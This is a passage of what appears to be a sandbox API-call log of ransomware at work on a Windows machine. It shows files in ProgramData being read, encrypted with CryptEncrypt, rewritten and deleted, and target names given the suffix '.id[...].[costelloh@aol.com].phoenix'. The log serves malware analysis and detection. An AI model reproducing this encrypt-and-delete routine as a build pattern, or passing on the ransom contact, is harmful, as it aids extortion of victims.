	[0225.168] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1514c0) returned 1
	[0225.168] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0225.168] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xf0cb4, lpOverlapped=0x0) returned 1
	[0225.177] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0cc0, dwBufLen=0xf0cc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0cc0) returned 1
	[0225.178] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf0cc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf0cc0, lpOverlapped=0x0) returned 1
	[0225.234] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0225.234] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0225.234] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70, dwBufLen=0x70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70) returned 1
	[0225.235] CryptDestroyKey (hKey=0x151180) returned 1
	[0225.235] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x122, lpOverlapped=0x0) returned 1
	[0225.235] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0225.235] CloseHandle (hObject=0x2e4) returned 1
	[0225.235] CloseHandle (hObject=0x2d8) returned 1
	[0225.508] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml")) returned 1
	[0225.527] SetEvent (hEvent=0x298) returned 1
	[0225.528] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.528] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0225.529] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=129745) returned 1
	[0225.530] CloseHandle (hObject=0x2d8) returned 1
	[0225.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png")) returned 0x20
	[0225.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.530] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.530] SetEvent (hEvent=0x298) returned 1
	[0225.530] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.530] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0225.531] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2913) returned 1
	[0225.531] CloseHandle (hObject=0x2d8) returned 1
	[0225.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml")) returned 0x20
	[0225.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.532] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.532] SetEvent (hEvent=0x298) returned 1
	[0225.532] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.532] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0225.533] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=44488) returned 1
	[0225.533] CloseHandle (hObject=0x2d8) returned 1
	[0225.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png")) returned 0x20
	[0225.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.533] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.534] SetEvent (hEvent=0x298) returned 1
	[0225.534] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.534] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0225.535] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=28865) returned 1
	[0225.535] CloseHandle (hObject=0x2d8) returned 1
	[0225.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png")) returned 0x20
	[0225.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.535] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.535] SetEvent (hEvent=0x298) returned 1
	[0225.536] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.536] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0225.537] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=39379) returned 1
	[0225.537] CloseHandle (hObject=0x2d8) returned 1
	[0225.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png")) returned 0x20
	[0225.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.537] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.537] SetEvent (hEvent=0x298) returned 1
	[0225.537] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.538] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0225.540] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=129745) returned 1
	[0225.540] CloseHandle (hObject=0x2d8) returned 1
	[0225.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png")) returned 0x20
	[0225.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.540] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.540] SetEvent (hEvent=0x298) returned 1
	[0225.606] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.607] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.608] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1743) returned 1
	[0225.608] CloseHandle (hObject=0x2c0) returned 1
	[0225.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml")) returned 0x20
	[0225.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.608] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.608] SetEvent (hEvent=0x298) returned 1
	[0225.608] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.608] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.609] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1512) returned 1
	[0225.609] CloseHandle (hObject=0x2c0) returned 1
	[0225.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml")) returned 0x20
	[0225.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.609] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.609] SetEvent (hEvent=0x298) returned 1
	[0225.609] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.609] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.618] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=11364) returned 1
	[0225.618] CloseHandle (hObject=0x2e8) returned 1
	[0225.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml")) returned 0x20
	[0225.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.618] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.619] SetEvent (hEvent=0x298) returned 1
	[0225.619] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.619] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.623] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.623] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.651] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.651] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.651] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.651] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.657] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.657] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.cert.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.658] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.658] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\osver.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\osver.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.658] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.658] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\parse.dat" (normalized: "c:\\programdata\\microsoft\\diagnosis\\parse.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.658] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.658] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.660] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.660] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.676] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.676] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.676] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.676] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.692] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
